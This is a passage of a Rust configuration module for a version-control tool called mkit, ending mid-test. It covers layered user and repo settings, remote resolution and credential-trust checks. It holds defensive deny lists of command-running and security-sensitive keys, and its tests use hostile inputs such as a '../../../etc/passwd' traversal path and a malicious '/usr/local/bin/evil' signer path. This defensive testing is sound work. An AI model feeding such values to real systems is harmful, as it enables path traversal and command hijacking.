1use std::fmt::Write as _;
28use std::fs;
29use std::io;
30use std::io::Write as _;
31use std::path::{Path, PathBuf};
32
33use thiserror::Error;
34
35pub const CONFIG_FILE: &str = ".mkit/config";
36pub const USER_CONFIG_SUBPATH: &str = "mkit/config";
37pub const DEFAULT_SIGNING_KEY: &str = ".mkit/keys/default.key";
38pub const DEFAULT_BRANCH: &str = "main";
39pub const DEFAULT_SIGNER: &str = "legacy";
40pub const DEFAULT_KEY_BACKEND: &str = "software";
41pub const DEFAULT_KEY_REF: &str = "software:default";
42pub const DEFAULT_SECP256K1_KEY_REF: &str = "software:default-secp256k1";
43pub const DEFAULT_P256_KEY_REF: &str = "software:default-p256";
44
45pub const REPO_FORBIDDEN_KEYS: &[&str] = &[
66 "user.identity",
67 "trusted_remote_endpoint",
68 "signer",
69 "key.backend",
70 "key.default_ref",
71 "key.ed25519_ref",
72 "key.secp256k1_ref",
73 "key.p256_ref",
74 "signing_key",
75 "ssh.strict_host_key_checking",
76 "ssh.user_known_hosts_file",
77 "ssh.identity_file",
78 "attest.signer",
79 "attest.default_algorithm",
80 "attest.external_signer_path",
81 "attest.external_signer_args",
82 "attest.external_signer_timeout_secs",
83 "attest.secp256k1_key_path",
84 "attest.p256_key_path",
85];
86
87#[derive(Debug, Clone, Copy, PartialEq, Eq)]
91pub enum ConfigScope {
92 Repo,
93 User,
94}
95
96#[derive(Debug, Clone, Default, PartialEq, Eq)]
101pub struct Config {
102 pub user_identity: String,
105 pub user_name: String,
110 pub user_email: String,
113 pub trusted_remote_endpoint: String,
116 pub signing_key: String,
117 pub default_branch: String,
118 pub remote_endpoint: String,
119 pub remote_bucket: String,
120 pub remote_type: String,
121 pub ssh_strict_host_key_checking: String,
122 pub ssh_user_known_hosts_file: String,
123 pub ssh_identity_file: String,
124 pub signer: String,
126 pub key: KeyConfig,
128 pub attest: AttestConfig,
131 pub remotes: std::collections::BTreeMap<String, RemoteEntry>,
136 pub branch_upstreams: std::collections::BTreeMap<String, Upstream>,
139 pub durability_objects: String,
146 pub core: std::collections::BTreeMap<String, String>,
152}
153
154pub const CORE_ALLOWED_KEYS: &[&str] = &[
158 "autocrlf",
159 "bare",
160 "filemode",
161 "ignorecase",
162 "quotepath",
163 "symlinks",
164];
165
166pub const CORE_DENIED_KEYS: &[&str] = &["editor", "fsmonitor", "hookspath", "pager", "sshcommand"];
170
171#[derive(Debug, Clone, Default, PartialEq, Eq)]
174pub struct RemoteEntry {
175 pub url: String,
176 pub remote_type: String,
177}
178
179#[derive(Debug, Clone, Default, PartialEq, Eq)]
183pub struct Upstream {
184 pub remote: String,
185 pub branch: String,
186}
187
188#[derive(Debug, Clone, Default, PartialEq, Eq)]
190pub struct KeyConfig {
191 pub backend: String,
193 pub default_ref: String,
195 pub ed25519_ref: String,
197 pub secp256k1_ref: String,
199 pub p256_ref: String,
201}
202
203impl KeyConfig {
204 #[must_use]
205 pub fn backend_or_fallback(&self) -> &str {
206 if self.backend.is_empty() {
207 DEFAULT_KEY_BACKEND
208 } else {
209 self.backend.as_str()
210 }
211 }
212
213 #[must_use]
214 pub fn default_ref_or_fallback(&self) -> &str {
215 if self.default_ref.is_empty() {
216 DEFAULT_KEY_REF
217 } else {
218 self.default_ref.as_str()
219 }
220 }
221
222 #[must_use]
223 pub fn ed25519_ref_or_fallback(&self) -> &str {
224 if self.ed25519_ref.is_empty() {
225 self.default_ref_or_fallback()
226 } else {
227 self.ed25519_ref.as_str()
228 }
229 }
230
231 #[must_use]
232 pub fn secp256k1_ref_or_fallback(&self) -> &str {
233 if self.secp256k1_ref.is_empty() {
234 if self.default_ref.is_empty() {
235 DEFAULT_SECP256K1_KEY_REF
236 } else {
237 self.default_ref.as_str()
238 }
239 } else {
240 self.secp256k1_ref.as_str()
241 }
242 }
243
244 #[must_use]
245 pub fn p256_ref_or_fallback(&self) -> &str {
246 if self.p256_ref.is_empty() {
247 if self.default_ref.is_empty() {
248 DEFAULT_P256_KEY_REF
249 } else {
250 self.default_ref.as_str()
251 }
252 } else {
253 self.p256_ref.as_str()
254 }
255 }
256}
257
258#[derive(Debug, Clone, Default, PartialEq, Eq)]
262pub struct LayeredConfig {
263 pub merged: Config,
264 pub user: Config,
265 pub repo: Config,
266}
267
268#[derive(Debug, Clone, Default, PartialEq, Eq)]
271pub struct AttestConfig {
272 pub default_algorithm: String,
274 pub signer: String,
276 pub external_signer_path: String,
279 pub external_signer_args: Vec<String>,
285 pub external_signer_timeout_secs: Option<u64>,
293 pub secp256k1_key_path: String,
296 pub p256_key_path: String,
297}
298
299impl AttestConfig {
300 #[must_use]
301 pub fn default_algorithm_or_fallback(&self) -> &str {
302 if self.default_algorithm.is_empty() {
303 "ed25519"
304 } else {
305 self.default_algorithm.as_str()
306 }
307 }
308
309 #[must_use]
310 pub fn signer_or_fallback(&self) -> &str {
311 if self.signer.is_empty() {
312 "repo-key"
313 } else {
314 self.signer.as_str()
315 }
316 }
317
318 #[must_use]
319 pub fn secp256k1_key_path_or_default(&self) -> &str {
320 if self.secp256k1_key_path.is_empty() {
321 ".mkit/keys/secp256k1.key"
322 } else {
323 self.secp256k1_key_path.as_str()
324 }
325 }
326
327 #[must_use]
328 pub fn p256_key_path_or_default(&self) -> &str {
329 if self.p256_key_path.is_empty() {
330 ".mkit/keys/p256.key"
331 } else {
332 self.p256_key_path.as_str()
333 }
334 }
335}
336
337impl Config {
338 #[must_use]
340 pub fn with_defaults() -> Self {
341 Self {
342 signing_key: DEFAULT_SIGNING_KEY.to_owned(),
343 default_branch: DEFAULT_BRANCH.to_owned(),
344 signer: DEFAULT_SIGNER.to_owned(),
345 key: KeyConfig {
346 backend: DEFAULT_KEY_BACKEND.to_owned(),
347 default_ref: String::new(),
348 ed25519_ref: String::new(),
349 secp256k1_ref: String::new(),
350 p256_ref: String::new(),
351 },
352 ..Self::default()
353 }
354 }
355}
356
357#[derive(Debug, Error)]
358pub enum ConfigError {
359 #[error("I/O: {0}")]
360 Io(#[from] io::Error),
361 #[error("invalid config value — control characters are not permitted")]
362 InvalidValue,
363 #[error("unknown config key: {0}")]
364 UnknownKey(String),
365 #[error("invalid user.identity: {0}")]
366 InvalidUserIdentity(&'static str),
367 #[error(
368 "key path must not contain `..`; relative paths must stay under `.mkit/keys/` and absolute paths must stay under `$HOME`: {0}"
369 )]
370 InvalidKeyPath(String),
371}
372
373impl Config {
377 #[must_use]
381 pub fn object_sync_policy(&self) -> mkit_core::store::SyncPolicy {
382 match self.durability_objects.trim() {
383 "per-object" | "per_object" => mkit_core::store::SyncPolicy::PerObject,
384 _ => mkit_core::store::SyncPolicy::Batch,
385 }
386 }
387}
388
389pub fn validate_key_path(value: &str) -> Result<(), ConfigError> {
390 if value.is_empty() {
391 return Ok(());
392 }
393 let p = Path::new(value);
394 for comp in p.components() {
395 if matches!(comp, std::path::Component::ParentDir) {
396 return Err(ConfigError::InvalidKeyPath(value.to_owned()));
397 }
398 }
399 Ok(())
400}
401
402pub fn resolve_key_path(root: &Path, value: &str) -> Result<PathBuf, ConfigError> {
411 validate_key_path(value)?;
412 let path = Path::new(value);
413 if path.is_absolute() {
414 let Some(home) = home_dir_for_euid() else {
415 return Err(ConfigError::InvalidKeyPath(value.to_owned()));
416 };
417 return if path.starts_with(&home) {
418 Ok(path.to_path_buf())
419 } else {
420 Err(ConfigError::InvalidKeyPath(value.to_owned()))
421 };
422 }
423
424 let joined = root.join(path);
425 let repo_keys = root.join(".mkit/keys");
426 if !joined.starts_with(&repo_keys) {
427 return Err(ConfigError::InvalidKeyPath(value.to_owned()));
428 }
429 Ok(joined)
430}
431
432#[cfg(unix)]
443#[must_use]
444pub fn home_dir_for_euid() -> Option<PathBuf> {
445 use std::ffi::CStr;
446 use std::os::unix::ffi::OsStringExt;
447
448 #[allow(unsafe_code)]
464 let pw_dir_owned = unsafe {
465 let mut buf = [0i8; 4096];
466 let mut pwd: libc::passwd = std::mem::zeroed();
467 let mut result: *mut libc::passwd = std::ptr::null_mut();
468 let rc = libc::getpwuid_r(
469 libc::geteuid(),
470 std::ptr::addr_of_mut!(pwd),
471 buf.as_mut_ptr().cast::<libc::c_char>(),
472 buf.len(),
473 std::ptr::addr_of_mut!(result),
474 );
475 if rc != 0 || result.is_null() || pwd.pw_dir.is_null() {
476 None
477 } else {
478 Some(CStr::from_ptr(pwd.pw_dir).to_bytes().to_vec())
481 }
482 };
483 let bytes = pw_dir_owned?;
484 if bytes.is_empty() {
485 return None;
486 }
487 Some(PathBuf::from(std::ffi::OsString::from_vec(bytes)))
488}
489
490#[cfg(not(unix))]
491#[must_use]
492pub fn home_dir_for_euid() -> Option<PathBuf> {
493 std::env::var_os("USERPROFILE").map(PathBuf::from)
499}
500
501#[must_use]
503pub fn parse_pipe_list(s: &str) -> Vec<String> {
504 if s.is_empty() {
505 return Vec::new();
506 }
507 s.split('|').map(str::to_owned).collect()
508}
509
510pub fn validate_value(v: &str) -> Result<(), ConfigError> {
513 for b in v.bytes() {
514 if b < 0x20 || b == 0x7f {
515 return Err(ConfigError::InvalidValue);
516 }
517 }
518 Ok(())
519}
520
521#[must_use]
525pub fn user_config_path() -> PathBuf {
526 xdg_config_home().join(USER_CONFIG_SUBPATH)
527}
528
529pub fn read_or_default(root: &Path) -> Result<Config, ConfigError> {
536 let mut cfg = Config::with_defaults();
537 apply_file(&mut cfg, &user_config_path(), ConfigScope::User)?;
538 apply_file(&mut cfg, &root.join(CONFIG_FILE), ConfigScope::Repo)?;
539 Ok(cfg)
540}
541
542pub fn read_layered(root: &Path) -> Result<LayeredConfig, ConfigError> {
544 let mut merged = Config::with_defaults();
545 let user_path = user_config_path();
546 let repo_path = root.join(CONFIG_FILE);
547 apply_file_inner(&mut merged, &user_path, ConfigScope::User, true)?;
548 apply_file_inner(&mut merged, &repo_path, ConfigScope::Repo, true)?;
549
550 let mut user = Config::default();
551 apply_file_inner(&mut user, &user_path, ConfigScope::User, false)?;
552
553 let mut repo = Config::default();
554 apply_file_inner(&mut repo, &repo_path, ConfigScope::Repo, false)?;
555
556 Ok(LayeredConfig { merged, user, repo })
557}
558
559pub(crate) fn apply_file(
566 cfg: &mut Config,
567 path: &Path,
568 scope: ConfigScope,
569) -> Result<(), ConfigError> {
570 apply_file_inner(cfg, path, scope, true)
571}
572
573fn apply_file_inner(
574 cfg: &mut Config,
575 path: &Path,
576 scope: ConfigScope,
577 warn_on_forbidden: bool,
578) -> Result<(), ConfigError> {
579 let text = match fs::read_to_string(path) {
580 Ok(s) => s,
581 Err(e) if e.kind() == io::ErrorKind::NotFound => return Ok(()),
582 Err(e) => return Err(e.into()),
583 };
584 for raw_line in text.lines() {
585 let line = raw_line.trim();
586 if line.is_empty() || line.starts_with('#') {
587 continue;
588 }
589 let Some((k, v)) = line.split_once('=') else {
590 continue;
591 };
592 let key = k.trim();
593 let val = v.trim();
594 if scope == ConfigScope::Repo && REPO_FORBIDDEN_KEYS.contains(&key) {
595 if warn_on_forbidden {
596 warn_forbidden_repo_key(path, key);
597 }
598 continue;
599 }
600 apply_kv(cfg, key, val);
601 }
602 Ok(())
603}
604
605fn warn_forbidden_repo_key(path: &Path, key: &str) {
606 let mut stderr = io::stderr().lock();
607 let _ = writeln!(
608 stderr,
609 "warning: ignoring `{key}` from per-repo config at {} \
610 (security-sensitive keys are user-scoped only — see {} \
611 and docs/THREAT-MODEL.md)",
612 path.display(),
613 user_config_path().display()
614 );
615}
616
617fn apply_kv(cfg: &mut Config, key: &str, val: &str) {
620 if let Some(suffix) = core_allowed_suffix(key) {
623 cfg.core.insert(suffix, val.to_string());
624 return;
625 }
626 match key {
627 "user.identity" => val.clone_into(&mut cfg.user_identity),
628 "user.name" => val.clone_into(&mut cfg.user_name),
631 "user.email" => val.clone_into(&mut cfg.user_email),
632 "trusted_remote_endpoint" => val.clone_into(&mut cfg.trusted_remote_endpoint),
633 "signer" => val.clone_into(&mut cfg.signer),
634 "key.backend" => val.clone_into(&mut cfg.key.backend),
635 "key.default_ref" => val.clone_into(&mut cfg.key.default_ref),
636 "key.ed25519_ref" => val.clone_into(&mut cfg.key.ed25519_ref),
637 "key.secp256k1_ref" => val.clone_into(&mut cfg.key.secp256k1_ref),
638 "key.p256_ref" => val.clone_into(&mut cfg.key.p256_ref),
639 "signing_key" => val.clone_into(&mut cfg.signing_key),
640 "default_branch" => val.clone_into(&mut cfg.default_branch),
641 "durability.objects" => val.clone_into(&mut cfg.durability_objects),
642 "remote_endpoint" => val.clone_into(&mut cfg.remote_endpoint),
643 "remote_bucket" => val.clone_into(&mut cfg.remote_bucket),
644 "remote_type" => val.clone_into(&mut cfg.remote_type),
645 "ssh.strict_host_key_checking" => val.clone_into(&mut cfg.ssh_strict_host_key_checking),
646 "ssh.user_known_hosts_file" => val.clone_into(&mut cfg.ssh_user_known_hosts_file),
647 "ssh.identity_file" => val.clone_into(&mut cfg.ssh_identity_file),
648 "attest.default_algorithm" => val.clone_into(&mut cfg.attest.default_algorithm),
649 "attest.signer" => val.clone_into(&mut cfg.attest.signer),
650 "attest.external_signer_path" => val.clone_into(&mut cfg.attest.external_signer_path),
651 "attest.external_signer_args" => {
652 cfg.attest.external_signer_args = parse_pipe_list(val);
653 }
654 "attest.external_signer_timeout_secs" => {
655 cfg.attest.external_signer_timeout_secs = val.trim().parse::<u64>().ok();
659 }
660 "attest.secp256k1_key_path" => val.clone_into(&mut cfg.attest.secp256k1_key_path),
661 "attest.p256_key_path" => val.clone_into(&mut cfg.attest.p256_key_path),
662 _ if apply_section_kv(cfg, key, val) => {}
668 "author_mid" | "project_id" | "network" => {}
670 _ if key.ends_with("_url") => {}
671 _ => {} }
673}
674
675#[must_use]
678pub fn is_core_section(key: &str) -> bool {
679 key.split_once('.')
680 .is_some_and(|(section, _)| section.eq_ignore_ascii_case("core"))
681}
682
683#[must_use]
687pub fn core_allowed_suffix(key: &str) -> Option<String> {
688 let (section, name) = key.split_once('.')?;
689 if !section.eq_ignore_ascii_case("core") {
690 return None;
691 }
692 let suffix = name.to_ascii_lowercase();
693 CORE_ALLOWED_KEYS
694 .contains(&suffix.as_str())
695 .then_some(suffix)
696}
697
698fn apply_section_kv(cfg: &mut Config, key: &str, val: &str) -> bool {
703 let mut parts = key.splitn(3, '.');
704 let (Some(section), Some(name), Some(field)) = (parts.next(), parts.next(), parts.next())
705 else {
706 return false;
707 };
708 let valid_name = !name.is_empty() && mkit_core::refs::validate_ref_name(name);
710 match (section, field) {
711 ("remote", "url") => {
712 if valid_name {
713 val.clone_into(&mut cfg.remotes.entry(name.to_owned()).or_default().url);
714 }
715 true
716 }
717 ("remote", "type") => {
718 if valid_name {
719 val.clone_into(&mut cfg.remotes.entry(name.to_owned()).or_default().remote_type);
720 }
721 true
722 }
723 ("branch", "remote") => {
724 if valid_name {
725 val.clone_into(
726 &mut cfg
727 .branch_upstreams
728 .entry(name.to_owned())
729 .or_default()
730 .remote,
731 );
732 }
733 true
734 }
735 ("branch", "merge") => {
736 if valid_name {
737 val.clone_into(
738 &mut cfg
739 .branch_upstreams
740 .entry(name.to_owned())
741 .or_default()
742 .branch,
743 );
744 }
745 true
746 }
747 _ => false,
748 }
749}
750
751pub fn write(root: &Path, cfg: &Config) -> Result<(), ConfigError> {
764 let path = root.join(CONFIG_FILE);
765 if let Some(parent) = path.parent() {
766 fs::create_dir_all(parent)?;
767 }
768 let mut out = String::new();
775 for (k, v) in [
776 ("user.name", cfg.user_name.as_str()),
779 ("user.email", cfg.user_email.as_str()),
780 ("default_branch", cfg.default_branch.as_str()),
781 ("durability.objects", cfg.durability_objects.as_str()),
782 ("remote_endpoint", cfg.remote_endpoint.as_str()),
783 ("remote_bucket", cfg.remote_bucket.as_str()),
784 ("remote_type", cfg.remote_type.as_str()),
785 ] {
786 if !v.is_empty() {
787 out.push_str(k);
788 out.push_str(" = ");
789 out.push_str(v);
790 out.push('\n');
791 }
792 }
793 for (name, entry) in &cfg.remotes {
797 if !entry.url.is_empty() {
798 let _ = writeln!(out, "remote.{name}.url = {}", entry.url);
799 }
800 if !entry.remote_type.is_empty() {
801 let _ = writeln!(out, "remote.{name}.type = {}", entry.remote_type);
802 }
803 }
804 for (branch, up) in &cfg.branch_upstreams {
806 if !up.remote.is_empty() {
807 let _ = writeln!(out, "branch.{branch}.remote = {}", up.remote);
808 }
809 if !up.branch.is_empty() {
810 let _ = writeln!(out, "branch.{branch}.merge = {}", up.branch);
811 }
812 }
813 for (k, v) in &cfg.core {
815 let _ = writeln!(out, "core.{k} = {v}");
816 }
817 let dir = path.parent().unwrap_or_else(|| Path::new("."));
823 let mut tmp = tempfile::Builder::new()
824 .prefix(".config.")
825 .tempfile_in(dir)?;
826 tmp.write_all(out.as_bytes())?;
827 tmp.flush()?;
828 tmp.persist(&path).map_err(|e| ConfigError::Io(e.error))?;
829 Ok(())
830}
831
832pub const DEFAULT_REMOTE_NAME: &str = "default";
835
836#[derive(Debug, Clone, PartialEq, Eq)]
840pub struct ResolvedRemote {
841 pub name: String,
842 pub endpoint: String,
843 pub repo_chosen: bool,
844}
845
846#[must_use]
856pub fn resolve_remote(cfg: &LayeredConfig, name: &str) -> Option<ResolvedRemote> {
857 let name = if name.is_empty() {
858 DEFAULT_REMOTE_NAME
859 } else {
860 name
861 };
862 if name == DEFAULT_REMOTE_NAME && !cfg.merged.remote_endpoint.trim().is_empty() {
863 let endpoint = cfg.merged.remote_endpoint.trim().to_owned();
864 let repo_chosen = cfg.repo.remote_endpoint.trim() == endpoint;
865 return Some(ResolvedRemote {
866 name: DEFAULT_REMOTE_NAME.to_owned(),
867 endpoint,
868 repo_chosen,
869 });
870 }
871 let entry = cfg.merged.remotes.get(name)?;
872 let endpoint = entry.url.trim();
873 if endpoint.is_empty() {
874 return None;
875 }
876 let repo_chosen = cfg
877 .repo
878 .remotes
879 .get(name)
880 .is_some_and(|e| e.url.trim() == endpoint);
881 Some(ResolvedRemote {
882 name: name.to_owned(),
883 endpoint: endpoint.to_owned(),
884 repo_chosen,
885 })
886}
887
888#[must_use]
893pub fn resolve_upstream(cfg: &LayeredConfig, branch: &str) -> Option<Upstream> {
894 if let Some(up) = cfg.merged.branch_upstreams.get(branch)
895 && !up.remote.is_empty()
896 && !up.branch.is_empty()
897 {
898 return Some(up.clone());
899 }
900 if !cfg.merged.remote_endpoint.trim().is_empty() {
904 return Some(Upstream {
905 remote: DEFAULT_REMOTE_NAME.to_owned(),
906 branch: branch.to_owned(),
907 });
908 }
909 None
910}
911
912fn real_getenv(name: &str) -> Option<String> {
915 std::env::var(name).ok().filter(|value| !value.is_empty())
916}
917
918pub fn enforce_trusted_remote_endpoint(cfg: &LayeredConfig) -> Result<(), String> {
929 let endpoint = cfg.merged.remote_endpoint.trim();
930 let repo_chosen = cfg.repo.remote_endpoint.trim() == endpoint;
931 match trusted_remote_error_for(
932 endpoint,
933 repo_chosen,
934 cfg.user.trusted_remote_endpoint.trim(),
935 &real_getenv,
936 ) {
937 Some(msg) => Err(msg),
938 None => Ok(()),
939 }
940}
941
942pub fn endpoint_credential_trust(
950 cfg: &LayeredConfig,
951 endpoint: &str,
952 repo_chosen: bool,
953) -> Result<(), String> {
954 match trusted_remote_error_for(
955 endpoint.trim(),
956 repo_chosen,
957 cfg.user.trusted_remote_endpoint.trim(),
958 &real_getenv,
959 ) {
960 Some(msg) => Err(msg),
961 None => Ok(()),
962 }
963}
964
965fn trusted_remote_error_for<F>(
977 endpoint: &str,
978 repo_chosen: bool,
979 user_trusted: &str,
980 getenv: &F,
981) -> Option<String>
982where
983 F: Fn(&str) -> Option<String>,
984{
985 if endpoint.is_empty() || !repo_chosen {
986 return None;
987 }
988 if user_trusted == endpoint {
989 return None;
990 }
991
992 if endpoint.starts_with("mkit+http://") || endpoint.starts_with("mkit+https://") {
993 if getenv(mkit_transport_http::TOKEN_ENV).is_some() {
994 return Some(format!(
995 "refusing repo-configured remote `{endpoint}` with ambient {} bearer token; trust it explicitly with `mkit config trusted_remote_endpoint {endpoint}` (writes {})",
996 mkit_transport_http::TOKEN_ENV,
997 user_config_path().display()
998 ));
999 }
1000 return None;
1001 }
1002
1003 if endpoint.starts_with("mkit+s3://")
1004 && (getenv(mkit_transport_s3::ENV_ACCESS_KEY).is_some()
1005 || getenv(mkit_transport_s3::ENV_SECRET_KEY).is_some())
1006 {
1007 return Some(format!(
1008 "refusing repo-configured remote `{endpoint}` with ambient S3/R2 credentials; trust it explicitly with `mkit config trusted_remote_endpoint {endpoint}` (writes {})",
1009 user_config_path().display()
1010 ));
1011 }
1012
1013 None
1014}
1015
1016pub fn write_user_kv(key: &str, value: &str) -> Result<(), ConfigError> {
1021 let path = user_config_path();
1022 if let Some(parent) = path.parent() {
1023 fs::create_dir_all(parent)?;
1024 }
1025 let existing = fs::read_to_string(&path).unwrap_or_default();
1026 let mut out = String::new();
1027 let mut replaced = false;
1028 for raw_line in existing.lines() {
1029 let line = raw_line.trim();
1030 if line.is_empty() || line.starts_with('#') {
1031 out.push_str(raw_line);
1032 out.push('\n');
1033 continue;
1034 }
1035 if let Some((k, _)) = line.split_once('=')
1036 && k.trim() == key
1037 {
1038 out.push_str(key);
1039 out.push_str(" = ");
1040 out.push_str(value);
1041 out.push('\n');
1042 replaced = true;
1043 continue;
1044 }
1045 out.push_str(raw_line);
1046 out.push('\n');
1047 }
1048 if !replaced {
1049 out.push_str(key);
1050 out.push_str(" = ");
1051 out.push_str(value);
1052 out.push('\n');
1053 }
1054 write_atomic_user_config(&path, out.as_bytes())?;
1058 Ok(())
1059}
1060
1061fn write_atomic_user_config(path: &Path, bytes: &[u8]) -> Result<(), ConfigError> {
1065 use tempfile::NamedTempFile;
1066 let parent = path.parent().ok_or(ConfigError::Io(io::Error::new(
1067 io::ErrorKind::InvalidInput,
1068 "user config path has no parent",
1069 )))?;
1070 let mut tmp = NamedTempFile::new_in(parent)?;
1071 tmp.as_file_mut().write_all(bytes)?;
1072 tmp.as_file_mut().sync_all()?;
1073 tmp.persist(path).map_err(|e| ConfigError::Io(e.error))?;
1074 Ok(())
1075}
1076
1077pub fn expand_user_identity(value: &str) -> Result<String, ConfigError> {
1080 if value.is_empty() {
1081 return Err(ConfigError::InvalidUserIdentity("empty value"));
1082 }
1083 if let Some(hex) = value.strip_prefix("ed25519:") {
1084 if hex.len() != 64 {
1085 return Err(ConfigError::InvalidUserIdentity(
1086 "ed25519:<hex> must have 64 hex chars",
1087 ));
1088 }
1089 let bytes =
1090 hex_decode(hex).ok_or(ConfigError::InvalidUserIdentity("ed25519 hex is not valid"))?;
1091 return Ok(encode_identity_hex(0x01, &bytes));
1092 }
1093 if let Some(dec) = value.strip_prefix("mid:") {
1094 let mid: u64 = dec
1095 .parse()
1096 .map_err(|_| ConfigError::InvalidUserIdentity("mid must be a decimal u64"))?;
1097 return Ok(encode_identity_hex(0x03, &mid.to_le_bytes()));
1098 }
1099 if !value.len().is_multiple_of(2) || value.len() < 6 {
1100 return Err(ConfigError::InvalidUserIdentity(
1101 "raw hex is too short or has odd length",
1102 ));
1103 }
1104 let bytes = hex_decode(value).ok_or(ConfigError::InvalidUserIdentity(
1105 "raw value is not valid hex",
1106 ))?;
1107 let declared = u16::from(bytes[1]) | (u16::from(bytes[2]) << 8);
1108 if bytes.len() != usize::from(declared) + 3 {
1109 return Err(ConfigError::InvalidUserIdentity(
1110 "declared length does not match payload length",
1111 ));
1112 }
1113 Ok(value.to_owned())
1114}
1115
1116fn encode_identity_hex(kind: u8, bytes: &[u8]) -> String {
1117 let len = u16::try_from(bytes.len()).unwrap_or(u16::MAX);
1118 let mut buf = Vec::with_capacity(3 + bytes.len());
1119 buf.push(kind);
1120 buf.extend_from_slice(&len.to_le_bytes());
1121 buf.extend_from_slice(bytes);
1122 hex_encode(&buf)
1123}
1124
1125fn hex_encode(bytes: &[u8]) -> String {
1126 static H: &[u8; 16] = b"0123456789abcdef";
1127 let mut s = String::with_capacity(bytes.len() * 2);
1128 for b in bytes {
1129 s.push(H[(b >> 4) as usize] as char);
1130 s.push(H[(b & 0x0F) as usize] as char);
1131 }
1132 s
1133}
1134
1135fn hex_decode(s: &str) -> Option<Vec<u8>> {
1136 if !s.len().is_multiple_of(2) {
1137 return None;
1138 }
1139 let mut out = Vec::with_capacity(s.len() / 2);
1140 let b = s.as_bytes();
1141 for i in (0..b.len()).step_by(2) {
1142 let hi = nibble(b[i])?;
1143 let lo = nibble(b[i + 1])?;
1144 out.push((hi << 4) | lo);
1145 }
1146 Some(out)
1147}
1148
1149fn nibble(c: u8) -> Option<u8> {
1150 Some(match c {
1151 b'0'..=b'9' => c - b'0',
1152 b'a'..=b'f' => 10 + c - b'a',
1153 b'A'..=b'F' => 10 + c - b'A',
1154 _ => return None,
1155 })
1156}
1157
1158fn xdg(var: &str, fallback_under_home: &str) -> PathBuf {
1160 if let Some(v) = std::env::var_os(var)
1161 && !v.is_empty()
1162 {
1163 return PathBuf::from(v);
1164 }
1165 if let Some(home) = std::env::var_os("HOME") {
1166 return PathBuf::from(home).join(fallback_under_home);
1167 }
1168 PathBuf::from(".")
1169}
1170
1171#[must_use]
1172pub fn xdg_config_home() -> PathBuf {
1173 xdg("XDG_CONFIG_HOME", ".config")
1174}
1175
1176#[must_use]
1177pub fn xdg_data_home() -> PathBuf {
1178 xdg("XDG_DATA_HOME", ".local/share")
1179}
1180
1181#[must_use]
1182pub fn xdg_cache_home() -> PathBuf {
1183 xdg("XDG_CACHE_HOME", ".cache")
1184}
1185
1186#[must_use]
1187pub fn xdg_state_home() -> PathBuf {
1188 xdg("XDG_STATE_HOME", ".local/state")
1189}
1190
1191#[cfg(test)]
1192mod tests {
1193 use super::*;
1194 use tempfile::TempDir;
1195
1196 #[test]
1197 fn durability_objects_key_selects_sync_policy() {
1198 let mut cfg = Config::with_defaults();
1202 assert_eq!(
1203 cfg.object_sync_policy(),
1204 mkit_core::store::SyncPolicy::Batch
1205 );
1206 apply_kv(&mut cfg, "durability.objects", "per-object");
1207 assert_eq!(
1208 cfg.object_sync_policy(),
1209 mkit_core::store::SyncPolicy::PerObject
1210 );
1211 let dir = tempfile::tempdir().unwrap();
1213 write(dir.path(), &cfg).unwrap();
1214 let text = std::fs::read_to_string(dir.path().join(CONFIG_FILE)).unwrap();
1215 assert!(text.contains("durability.objects = per-object"));
1216 apply_kv(&mut cfg, "durability.objects", "bogus");
1217 assert_eq!(
1218 cfg.object_sync_policy(),
1219 mkit_core::store::SyncPolicy::Batch
1220 );
1221 }
1222
1223 fn layer(repo_text: Option<&str>, user_text: Option<&str>) -> Config {
1227 let td = TempDir::new().unwrap();
1228 let mut cfg = Config::with_defaults();
1229 if let Some(text) = user_text {
1230 let upath = td.path().join("user_config");
1231 fs::write(&upath, text).unwrap();
1232 apply_file(&mut cfg, &upath, ConfigScope::User).unwrap();
1233 }
1234 if let Some(text) = repo_text {
1235 let rpath = td.path().join("repo_config");
1236 fs::write(&rpath, text).unwrap();
1237 apply_file(&mut cfg, &rpath, ConfigScope::Repo).unwrap();
1238 }
1239 cfg
1240 }
1241
1242 fn layered(repo_text: Option<&str>, user_text: Option<&str>) -> LayeredConfig {
1243 let td = TempDir::new().unwrap();
1244 let user_path = td.path().join("user_config");
1245 let repo_path = td.path().join("repo_config");
1246 if let Some(text) = user_text {
1247 fs::write(&user_path, text).unwrap();
1248 }
1249 if let Some(text) = repo_text {
1250 fs::write(&repo_path, text).unwrap();
1251 }
1252 let mut merged = Config::with_defaults();
1253 apply_file_inner(&mut merged, &user_path, ConfigScope::User, false).unwrap();
1254 apply_file_inner(&mut merged, &repo_path, ConfigScope::Repo, false).unwrap();
1255 let mut user = Config::default();
1256 let mut repo = Config::default();
1257 apply_file_inner(&mut user, &user_path, ConfigScope::User, false).unwrap();
1258 apply_file_inner(&mut repo, &repo_path, ConfigScope::Repo, false).unwrap();
1259 LayeredConfig { merged, user, repo }
1260 }
1261
1262 #[test]
1263 fn read_default_when_missing() {
1264 let td = TempDir::new().unwrap();
1265 let cfg = Config::with_defaults();
1268 assert_eq!(cfg.signing_key, DEFAULT_SIGNING_KEY);
1269 assert_eq!(cfg.default_branch, DEFAULT_BRANCH);
1270 assert!(cfg.remote_endpoint.is_empty());
1271 let _ = read_or_default(td.path()).unwrap();
1274 }
1275
1276 #[test]
1277 fn roundtrip_repo_safe_keys() {
1278 let cfg = layer(
1279 Some("remote_endpoint = /tmp/mirror\nremote_type = file\n"),
1280 None,
1281 );
1282 assert_eq!(cfg.remote_endpoint, "/tmp/mirror");
1283 assert_eq!(cfg.remote_type, "file");
1284 }
1285
1286 #[test]
1287 fn write_does_not_emit_forbidden_repo_keys() {
1288 let td = TempDir::new().unwrap();
1289 fs::create_dir_all(td.path().join(".mkit")).unwrap();
1290 let mut cfg = Config::with_defaults();
1291 cfg.user_identity = "01200011".into();
1292 cfg.signing_key = "/should/not/be/written".into();
1293 cfg.signer = "keystore".into();
1294 cfg.key.backend = "software".into();
1295 cfg.key.default_ref = "software:attacker".into();
1296 cfg.ssh_strict_host_key_checking = "no".into();
1297 cfg.attest.external_signer_path = "/usr/local/bin/evil".into();
1298 write(td.path(), &cfg).unwrap();
1299 let on_disk = fs::read_to_string(td.path().join(CONFIG_FILE)).unwrap();
1300 assert!(!on_disk.contains("user.identity"));
1301 assert!(!on_disk.contains("signing_key"));
1302 assert!(!on_disk.contains("signer"));
1303 assert!(!on_disk.contains("key.default_ref"));
1304 assert!(!on_disk.contains("ssh.strict_host_key_checking"));
1305 assert!(!on_disk.contains("external_signer_path"));
1306 }
1307
1308 #[test]
1309 fn repo_signing_key_is_rejected_with_warning() {
1310 let cfg = layer(
1314 Some("signing_key = ../../../etc/passwd\nremote_type = file\n"),
1315 None,
1316 );
